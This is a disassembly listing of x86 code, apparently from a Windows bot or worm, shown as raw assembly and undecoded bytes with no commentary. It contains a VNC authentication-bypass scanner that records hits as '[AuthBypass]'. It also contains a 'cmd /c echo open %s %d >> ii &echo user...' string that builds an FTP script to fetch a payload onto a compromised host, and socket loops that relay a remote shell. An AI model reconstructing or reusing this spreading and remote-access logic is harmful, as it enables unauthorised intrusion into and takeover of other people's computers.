lea eax, [ebp-98h]
push offset dword_4328DC
push eax
mov byte ptr [ebp-0B5h], 3
mov word ptr [ebp-0B0h], 48h
mov [ebp-0AEh], bx
mov [ebp-0ACh], ebx
mov word ptr [ebp-0A8h], 10B8h
mov word ptr [ebp-0A6h], 10B8h
mov [ebp-0A4h], ebx
mov [ebp-0A0h], edi
mov [ebp-9Ch], bx
mov byte ptr [ebp-9Ah], 1
call sub_41C310
push 10h
lea eax, [ebp-84h]
push offset dword_4328C8
push eax
mov dword ptr [ebp-88h], 3
call sub_41C310
add esp, 24h
lea eax, [ebp-0BCh]
mov dword ptr [ebp-74h], 2
push ebx
push eax
lea eax, [ebp-0B8h]
push 48h
push eax
push dword ptr [ebp-4]
nop
call near ptr 28A0000h
test eax, eax
jnz short loc_40DB34
loc_40DB26: ; CODE XREF: ___:0040DC00j
push dword ptr [ebp-4]
call near ptr 28005AFh
nop
jmp loc_40DA50
; ---------------------------------------------------------------------------
loc_40DB34: ; CODE XREF: ___:0040DB24j
lea eax, [ebp-14h]
push ebx
push eax
lea eax, [ebp-60DCh]
push esi
push eax
push dword ptr [ebp-4]
nop
call near ptr 28B0000h
push ebx
call sub_41D081
push eax
call sub_41B8D8
push 14h
lea eax, [ebp-70h]
push 41h
push eax
call sub_41B590
push 1Ch
lea eax, [ebp-30h]
push 41h
push eax
call sub_41B590
add esp, 20h
call sub_41B8E2
mov esi, [ebp+0Ch]
mov [ebp-70h], eax
mov [ebp-64h], edi
mov [ebp-68h], ebx
lea esi, [esi+esi*4]
mov [ebp-6Ch], edi
shl esi, 2
mov [ebp-60h], bx
cmp byte_432870[esi], bl
jz short loc_40DBAB
push 4
mov [ebp-24h], edi
mov [ebp-28h], ebx
mov [ebp-2Ch], edi
push offset dword_4CE34C
jmp short loc_40DBBE
; ---------------------------------------------------------------------------
loc_40DBAB: ; CODE XREF: ___:0040DB97j
push 2
mov [ebp-28h], ebx
pop eax
push 4
mov [ebp-24h], eax
mov [ebp-2Ch], eax
push (offset loc_4328BF+1)
loc_40DBBE: ; CODE XREF: ___:0040DBA9j
lea eax, [ebp-20h]
push eax
call sub_41C310
add esp, 0Ch
call sub_41B8E2
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp-30h], edx
call sub_41B8E2
cdq
idiv edi
mov eax, dword_432864[esi]
mov [ebp-18h], ebx
push eax
mov [ebp+8], eax
inc edx
mov [ebp-1Ch], edx
call sub_41B4D5
mov edi, eax
pop ecx
cmp edi, ebx
jz loc_40DB26
mov eax, [ebp+8]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_41B590
mov eax, [ebp+8]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_41B590
mov eax, dword_43286C[esi]
push 7
add eax, edi
push offset dword_432858
push eax
mov [ebp+0Ch], eax
call sub_41C310
mov eax, [ebp+0Ch]
push 15Ch
add eax, 7
push offset dword_4326F8
push eax
call sub_41C310
mov eax, dword_432868[esi]
add esp, 30h
cmp byte_432870[esi], bl
mov [ebp+0Ch], eax
jz short loc_40DCB7
push 4
add eax, edi
push offset dword_4CE344
push eax
call sub_41C310
add dword ptr [ebp+0Ch], 0Ch
mov esi, offset dword_432888
mov eax, [ebp+0Ch]
push 4
add eax, edi
push esi
push eax
call sub_41C310
mov eax, [ebp+0Ch]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp+0Ch], eax
call sub_41C310
mov eax, [ebp+0Ch]
push 4
add eax, 0Ch
push esi
push eax
call sub_41C310
add esp, 30h
jmp short loc_40DCDF
; ---------------------------------------------------------------------------
loc_40DCB7: ; CODE XREF: ___:0040DC68j
add eax, edi
mov dword ptr [ebp-8], 10h
mov [ebp+0Ch], eax
mov esi, offset dword_432888
loc_40DCC8: ; CODE XREF: ___:0040DCDDj
push 4
push esi
push dword ptr [ebp+0Ch]
call sub_41C310
add dword ptr [ebp+0Ch], 4
add esp, 0Ch
dec dword ptr [ebp-8]
jnz short loc_40DCC8
loc_40DCDF: ; CODE XREF: ___:0040DCB5j
mov eax, [ebp+8]
add eax, 42h
push eax
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40DD0A
push dword ptr [ebp-4]
nop
call near ptr 28005AFh
push edi
call sub_41B0B1
pop ecx
jmp loc_40DA50
; ---------------------------------------------------------------------------
loc_40DD0A: ; CODE XREF: ___:0040DCF3j
mov eax, [ebp+8]
add eax, 42h
push eax
push ebx
push esi
call sub_41B590
lea eax, [ebp-70h]
push 14h
push eax
push esi
call sub_41C310
mov eax, [ebp+8]
mov [ebp-0Ch], ebx
mov [ebp-10h], eax
add esp, 10h
fild qword ptr [ebp-10h]
fmul flt_4276AC
fstp qword ptr [esp]
call sub_41C7BF
call sub_41C798
push dword ptr [ebp+8]
mov [esi+1Ch], eax
mov [esi+18h], ebx
mov eax, [esi+1Ch]
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
call sub_41C310
mov eax, [ebp+8]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+0Ch], eax
jz short loc_40DD77
loc_40DD6F: ; CODE XREF: ___:0040DD72j
inc eax
test al, 3
jnz short loc_40DD6F
mov [ebp+0Ch], eax
loc_40DD77: ; CODE XREF: ___:0040DD6Dj
lea ecx, [ebp-30h]
push 1Ch
add eax, esi
push ecx
push eax
call sub_41C310
add dword ptr [ebp+0Ch], 1Ch
push edi
call sub_41B0B1
push 18h
lea eax, [ebp-48h]
push ebx
push eax
call sub_41B590
push 14h
lea eax, [ebp-5Ch]
push ebx
push eax
mov byte ptr [ebp-48h], 5
mov [ebp-47h], bl
mov [ebp-46h], bl
mov byte ptr [ebp-45h], 3
mov dword ptr [ebp-44h], 10h
mov [ebp-3Eh], bx
mov [ebp-3Ch], ebx
mov [ebp-34h], bx
mov word ptr [ebp-32h], 1Fh
call sub_41B590
add esp, 28h
push ebx
push ebx
push 1
push ebx
call near ptr 28A08DEh
nop
mov [ebp-4Ch], eax
mov [ebp+0Bh], bl
mov [ebp-0Ch], ebx
loc_40DDE4: ; CODE XREF: ___:0040DE6Ej
cmp dword ptr [ebp-0Ch], 2
jge loc_40DE79
push 1
push 10B8h
push dword ptr [ebp+0Ch]
inc dword ptr [ebp-0Ch]
push esi
lea esi, [ebp-48h]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push dword ptr [ebp-4]
rep movsd
call sub_40D8AD
add esp, 2Ch
test al, al
jz short loc_40DE76
cmp [ebp-4Ch], ebx
jz short loc_40DE68
lea eax, [ebp-5Ch]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-60DCh]
push 2000h
push eax
push dword ptr [ebp-4]
nop
call near ptr 28B0000h
test eax, eax
jnz short loc_40DE4F
nop
call near ptr 2830047h
cmp eax, 3E5h
jnz loc_40DA50
loc_40DE4F: ; CODE XREF: ___:0040DE3Cj
push 3E8h
push dword ptr [ebp-4Ch]
call near ptr 2830753h
nop
cmp eax, 102h
jnz short loc_40DE68
mov byte ptr [ebp+0Bh], 1
loc_40DE68: ; CODE XREF: ___:0040DE1Bj
; ___:0040DE62j
cmp [ebp+0Bh], bl
mov esi, [ebp-8]
jz loc_40DDE4
jmp short loc_40DE79
; ---------------------------------------------------------------------------
loc_40DE76: ; CODE XREF: ___:0040DE16j
mov esi, [ebp-8]
loc_40DE79: ; CODE XREF: ___:0040DDE8j
; ___:0040DE74j
push dword ptr [ebp-4]
mov edi, dword_427068
call edi
push esi
call sub_41B0B1
cmp [ebp-4Ch], ebx
pop ecx
jz short loc_40DE95
push dword ptr [ebp-4Ch]
call edi
loc_40DE95: ; CODE XREF: ___:0040DE8Ej
cmp [ebp+0Bh], bl
setnz al
loc_40DE9B: ; CODE XREF: ___:0040DA52j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ▀
db 0ECh ; Л
db 81h ; │
db 0ECh ; Л
db 0A0h ; ═
db 5
db 0
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 33h ; 3
db 0F6h ; Ж
db 6Ah ; j
db 10h
db 8Dh ; █
db 45h ; E
db 0F0h ; П
db 56h ; V
db 50h ; P
db 0E8h ; Х
db 0D6h ; ж
db 0D6h ; ж
db 0
db 0
db 83h ; ┐
db 0C4h ; д
db 0Ch
db 8Dh ; █
db 45h ; E
db 0Ch
db 66h ; f
db 0C7h ; г
db 45h ; E
db 0F0h ; П
db 2
db 0
db 50h ; P
db 90h ; ░
db 0E8h ; Х
db 2Bh ; +
db 34h ; 4
db 6Ah ; j
db 71h ; q
db 0FFh
db 0B5h ; ╣
db 0C4h ; д
db 0
db 0
db 0
db 89h ; ┴
db 45h ; E
db 0F4h ; Т
db 90h ; ░
db 0E8h ; Х
db 6Ah ; j
db 38h ; 8
db 6Ah ; j
db 71h ; q
db 56h ; V
db 6Ah ; j
db 1
db 6Ah ; j
db 2
db 66h ; f
db 89h ; ┴
db 45h ; E
db 0F2h ; Р
db 90h ; ░
db 0E8h ; Х
db 37h ; 7
db 5Dh ; ]
db 6Ah ; j
db 71h ; q
db 8Bh ; ▀
db 0D8h ; ь
db 83h ; ┐
db 0FBh ; Ш
db 0FFh
db 74h ; t
db 7Ch ; |
db 8Dh ; █
db 45h ; E
db 0F0h ; П
db 6Ah ; j
db 10h
db 50h ; P
db 53h ; S
db 90h ; ░
db 0E8h ; Х
db 5Eh ; ^
db 5Fh ; _
db 6Ah ; j
db 71h ; q
db 83h ; ┐
db 0F8h ; Ь
db 0FFh
db 74h ; t
db 6Ah ; j
db 0BFh ; ©
db 0
db 4
db 0
db 0
db 56h ; V
db 8Bh ; ▀
db 35h ; 5
db 18h
db 72h ; r
db 42h ; B
db 0
db 8Dh ; █
db 85h ; ┘
db 60h ; `
db 0FAh ; З
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; ж
db 0B8h ; ╦
db 8
db 91h ; ▒
db 42h ; B
db 0
db 50h ; P
db 50h ; P
db 0FFh
db 35h ; 5
db 60h ; `
db 0B3h ; Ё
db 4Ch ; L
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; Х
db 0DFh ; ъ
db 0CCh ; л
db 0FFh
db 0FFh
db 59h ; Y
db 50h ; P
db 68h ; h
db 10h
db 29h ; )
db 43h ; C
db 0
db 8Dh ; █
db 85h ; ┘
db 60h ; `
db 0FEh ; Ч
db 0FFh
db 0FFh
db 68h ; h
db 90h ; ░
db 1
db 0
db 0
db 50h ; P
db 0E8h ; Х
db 38h ; 8
db 0DAh ; з
db 0
db 0
db 83h ; ┐
db 0C4h ; д
db 1Ch
db 8Dh ; █
db 85h ; ┘
db 60h ; `
db 0FEh ; Ч
db 0FFh
db 0FFh
db 6Ah ; j
db 0
db 50h ; P
db 0E8h ; Х
db 87h ; ┤
db 0D0h ; п
db 0
db 0
db 59h ; Y
db 50h ; P
db 8Dh ; █
db 85h ; ┘
db 60h ; `
db 0FEh ; Ч
db 0FFh
db 0FFh
db 50h ; P
db 53h ; S
db 90h ; ░
db 0E8h ; Х
db 8Bh ; ▀
db 3Bh ; ;
db 6Ah ; j
db 71h ; q
db 83h ; ┐
db 0F8h ; Ь
db 0FFh
db 75h ; u
db 4
db 33h ; 3
db 0C0h ; ю
db 0EBh ; К
db 17h
db 6Ah ; j
db 0
db 8Dh ; █
db 85h ; ┘
db 60h ; `
db 0FAh ; З
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; ж
db 53h ; S
db 0E8h ; Х
db 0E8h ; Х
db 3Ah ; :
db 6Ah ; j
db 71h ; q
db 90h ; ░
db 6Ah ; j
db 1
db 58h ; X
db 5Fh ; _
db 5Eh ; ^
db 5Bh ; [
db 0C9h ; и
db 0C3h ; ц
dw 5653h
dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h
dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh
dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
dd 90000007h, 412591E8h, 0FB834302h, 6AB87202h, 5E5F5801h
; ---------------------------------------------------------------------------
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
nop
call near ptr 71AB12F8h
push [ebp+arg_BC]
mov [ebp+var_C], eax
nop
call near ptr 71AB1746h
push esi
push 1
push 2
mov [ebp+var_E], ax
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40E0B0
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call near ptr 71AB3E5Dh
nop
cmp eax, 0FFFFFFFFh
jz short loc_40E0B0
mov edi, 400h
push esi
mov esi, dword_427218
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_429108
push eax
push eax
push dword_4CB360
push [ebp+arg_0]
call sub_40AC0F
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41B980
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
nop
call near ptr 71AB1AF4h
cmp eax, 0FFFFFFFFh
jnz short loc_40E0B4
loc_40E0B0: ; CODE XREF: sub_40DFE2+50j
; sub_40DFE2+62j
xor eax, eax
jmp short loc_40E0CB
; ---------------------------------------------------------------------------
loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
nop
call near ptr 71AB1A6Dh
push 1
pop eax
loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40DFE2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp
; DATA XREF: ___:off_431ACCo
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4CB664
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4CB624
push 6
push 1
push 2
mov [ebp+var_E], ax
nop
call near ptr 71AB3C22h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40E142
lea eax, [ebp+var_10]
push 10h
push eax
push esi
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_40E123
push esi
jmp short loc_40E13C
; ---------------------------------------------------------------------------
loc_40E123: ; CODE XREF: sub_40E0D0+4Ej
push 0
push 1213h
push offset dword_432984
push esi
call near ptr 71AB1AF4h
nop
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40E146
loc_40E13C: ; CODE XREF: sub_40E0D0+51j
call near ptr 71AB1A6Dh
nop
loc_40E142: ; CODE XREF: sub_40E0D0+3Cj
xor eax, eax
jmp short loc_40E188
; ---------------------------------------------------------------------------
loc_40E146: ; CODE XREF: sub_40E0D0+6Aj
nop
call near ptr 71AB1A6Dh
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DFE2
add esp, 0C0h
test eax, eax
jz short loc_40E185
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_431AD0[eax]
lea eax, dword_431AD0[eax]
loc_40E185: ; CODE XREF: sub_40E0D0+9Ej
push 1
pop eax
loc_40E188: ; CODE XREF: sub_40E0D0+74j
pop edi
pop esi
leave
retn
sub_40E0D0 endp
; =============== S U B R O U T I N E =======================================
sub_40E18C proc near ; CODE XREF: ___:0040E27Ap
; ___:0040E2DCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40E194: ; CODE XREF: sub_40E18C+2Dj
test edi, edi
jle short loc_40E1BF
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4CB63C
test eax, eax
jz short loc_40E1BB
cmp eax, 0FFFFFFFFh
jz short loc_40E1BB
sub edi, eax
add esi, eax
jmp short loc_40E194
; ---------------------------------------------------------------------------
loc_40E1BB: ; CODE XREF: sub_40E18C+22j
; sub_40E18C+27j
xor eax, eax
jmp short loc_40E1C2
; ---------------------------------------------------------------------------
loc_40E1BF: ; CODE XREF: sub_40E18C+Aj
push 1
pop eax
loc_40E1C2: ; CODE XREF: sub_40E18C+31j
pop edi
pop esi
retn
sub_40E18C endp
; =============== S U B R O U T I N E =======================================
sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p
; ___:0040E2F3p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40E202
xor esi, esi
test edi, edi
jle short loc_40E1FC
loc_40E1D5: ; CODE XREF: sub_40E1C5+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4CB674
cmp eax, 0FFFFFFFFh
jz short loc_40E202
test eax, eax
jz short loc_40E202
add esi, eax
cmp esi, edi
jl short loc_40E1D5
loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej
push 1
pop eax
loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40E202: ; CODE XREF: sub_40E1C5+8j
; sub_40E1C5+2Bj ...
xor eax, eax
jmp short loc_40E1FF
sub_40E1C5 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_433BC8
push esi
push edi
push 0
push 1
push 2
mov [ebp-2], ax
pop esi
push esi
call dword_4CB6A4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40E234
push eax
jmp short loc_40E268
; ---------------------------------------------------------------------------
loc_40E234: ; CODE XREF: ___:0040E22Fj
lea eax, [ebp+0Ch]
push eax
call dword_4CB664
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], si
call dword_4CB624
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push ebx
call dword_4CB5CC
cmp eax, 0FFFFFFFFh
jnz short loc_40E273
push ebx
loc_40E268: ; CODE XREF: ___:0040E232j
call dword_4CB6BC
jmp loc_40E46E
; ---------------------------------------------------------------------------
loc_40E273: ; CODE XREF: ___:0040E265j
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40E18C
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call sub_41C645
add esp, 10h
cmp eax, esi
jnz loc_40E467
cmp dword ptr [ebp-28h], 3
jz short loc_40E2BF
cmp dword ptr [ebp-20h], 8
jnz loc_40E467
loc_40E2BF: ; CODE XREF: ___:0040E2B3j
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40E1C5
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-3Ch]
push esi
push eax
push ebx
call sub_40E18C
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-2]
push 1
push eax
push ebx
call sub_40E1C5
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-24h]
push 4
push eax
push ebx
call sub_40E18C
add esp, 0Ch
test eax, eax
jz loc_40E467
mov eax, [ebp-24h]
mov edi, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, edi
mov esi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, esi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40E467
push 1
push offset dword_4CB4DC
push ebx
call sub_40E1C5
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-1Ch]
push 18h
push eax
push ebx
call sub_40E18C
add esp, 0Ch
test eax, eax
jz loc_40E467
xor eax, eax
mov ecx, [ebp-8]
mov al, [ebp-1Bh]
mov edx, ecx
mov ah, [ebp-1Ch]
mov [ebp-1Ch], ax
xor eax, eax
mov al, [ebp-19h]
mov ah, [ebp-1Ah]
mov [ebp-1Ah], ax
xor eax, eax
mov al, [ebp-13h]
mov ah, [ebp-14h]
mov [ebp-14h], ax
xor eax, eax
mov al, [ebp-11h]
mov ah, [ebp-12h]
mov [ebp-12h], ax
xor eax, eax
mov al, [ebp-0Fh]
mov ah, [ebp-10h]
mov [ebp-10h], ax
mov eax, ecx
and eax, edi
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, esi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call sub_41CFC5
mov edi, [ebp-8]
pop ecx
test edi, edi
mov esi, eax
jle short loc_40E3F7
push edi
push esi
push ebx
call sub_40E18C
add esp, 0Ch
loc_40E3F7: ; CODE XREF: ___:0040E3EAj
and byte ptr [edi+esi], 0
lea eax, [ebp+0Ch]
push eax
push esi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call sub_41B980
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409A72
lea eax, [ebp-24Ch]
push eax
call sub_4151AC
mov eax, [ebp+0B0h]
add esp, 34h
shl eax, 6
inc dword_431AD0[eax]
push ebx
lea eax, dword_431AD0[eax]
nop
call near ptr 71AB1A6Dh
push 1
pop eax
jmp short loc_40E470
; ---------------------------------------------------------------------------
loc_40E467: ; CODE XREF: ___:0040E284j
; ___:0040E2A9j ...
push ebx
call near ptr 71AB1A6Dh
nop
loc_40E46E: ; CODE XREF: ___:0040E26Ej
xor eax, eax
loc_40E470: ; CODE XREF: ___:0040E465j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40E47E: ; CODE XREF: ___:0040E49Aj
; ___:0040E4B6j
push 0
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CE364
call dword_4CB63C
test eax, eax
jle short loc_40E47E
lea ecx, [ebp-4]
push 0
push ecx
push eax
lea eax, [ebp-404h]
push eax
push dword_4CE360
nop
call near ptr 28A0000h
jmp short loc_40E47E
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40E4C1: ; CODE XREF: ___:0040E4E7j
; ___:0040E501j
lea eax, [ebp-4]
and dword ptr [ebp-4], 0
push 0
push eax
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CE354
nop
call near ptr 28B0000h
cmp dword ptr [ebp-4], 0
jle short loc_40E4C1
push 0
lea eax, [ebp-404h]
push dword ptr [ebp-4]
push eax
push dword_4CE364
call dword_4CB674
jmp short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do
dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh
dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
dd 2415FFFFh, 6A004CB6h, 26A5606h, 0CA458966h, 0B6A415FFh
dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CB650h
dd 75FF056Ah, 4C15FF08h, 8B004CB6h, 4270FC1Dh, 68358B00h
dd 57004270h, 875FF57h, 0B6B815FFh, 64A3004Ch, 8D004CE3h
dd 5057F445h, 4CE36068h, 0E35C6800h, 45C7004Ch, 0CF4h
dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 58685057h, 68004CE3h
dd 4CE354h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 5CA10000h
dd 83004CE3h, 45890CC4h, 0E358A1BCh, 4589004Ch, 16A57C0h
dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h
dd 1F66E890h, 0FF50024Bh, 4CE35835h, 59E89000h, 50024B1Fh
dd 19E6E890h, 458D024Bh, 458D50D8h, 57575084h, 9068h, 0F4458D04h
dd 8D50016Ah, 6850F445h, 433BCCh, 51E89057h, 8D023F22h
dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h, 411FB5E8h
dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h
dd 1F9CE890h, 0FF6A0241h, 0FFF04589h, 0E890D875h, 24220D7h
dd 0F075FF57h, 197AE890h, 0FF570243h, 0E890EC75h, 2431970h
dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 24A2306h
dd 0E35C35FFh, 0D6FF004Ch, 0E36035FFh, 0D6FF004Ch, 0E35435FFh
dd 0D6FF004Ch, 0E35835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
push 0FFFEh
push 400h
call sub_418684
pop ecx
mov dword_4CE36C, eax
pop ecx
retn
; ---------------------------------------------------------------------------
byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do
dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh
dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
dd 2415FFFFh, 53004CB6h, 66026A56h, 89EE4589h, 15FFF05Dh
dd 4CB6A4h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h
dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 4721E8E8h
dd 858B9002h, 0FFFFFF54h, 0C069106Ah, 234h, 0E56CB889h
dd 458D0043h, 0FF5750ECh, 4CB65015h, 0BBC63B00h, 400h
dd 0CF850Fh, 15FF0000h, 4CB5B8h, 27403Dh, 33477400h, 0E47539F6h
dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h
dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
dd 472168E8h, 0FE689002h, 530000FFh, 9E63E8h, 6CA35900h
dd 59004CE3h, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CB65015h
dd 75C63B00h, 0B815FF54h, 33004CB5h, 0E47539F6h, 403D2775h
dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh
dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
dd 0E8565959h, 24720EDh, 57056A90h, 0B64C15FFh, 0C63B004Ch
dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh
dd 0FFFFFF40h, 15FF5750h, 4CB6B8h, 89FFF883h, 0E6740845h
dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
dd 20068h, 75FF5000h, 3C15FF08h, 83004CB6h, 9674FFF8h
dd 35FF5656h, 4CB360h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
dd 3BD46850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h
dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
dd 0FFFFF940h, 875FF50h, 0B67415FFh, 0F883004Ch, 43840FFFh
dd 0FFFFFFFFh, 4CE37405h, 0FF38E900h, 0FF57FFFFh, 4CB6BC15h
dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 471FECE8h
db 2
byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao
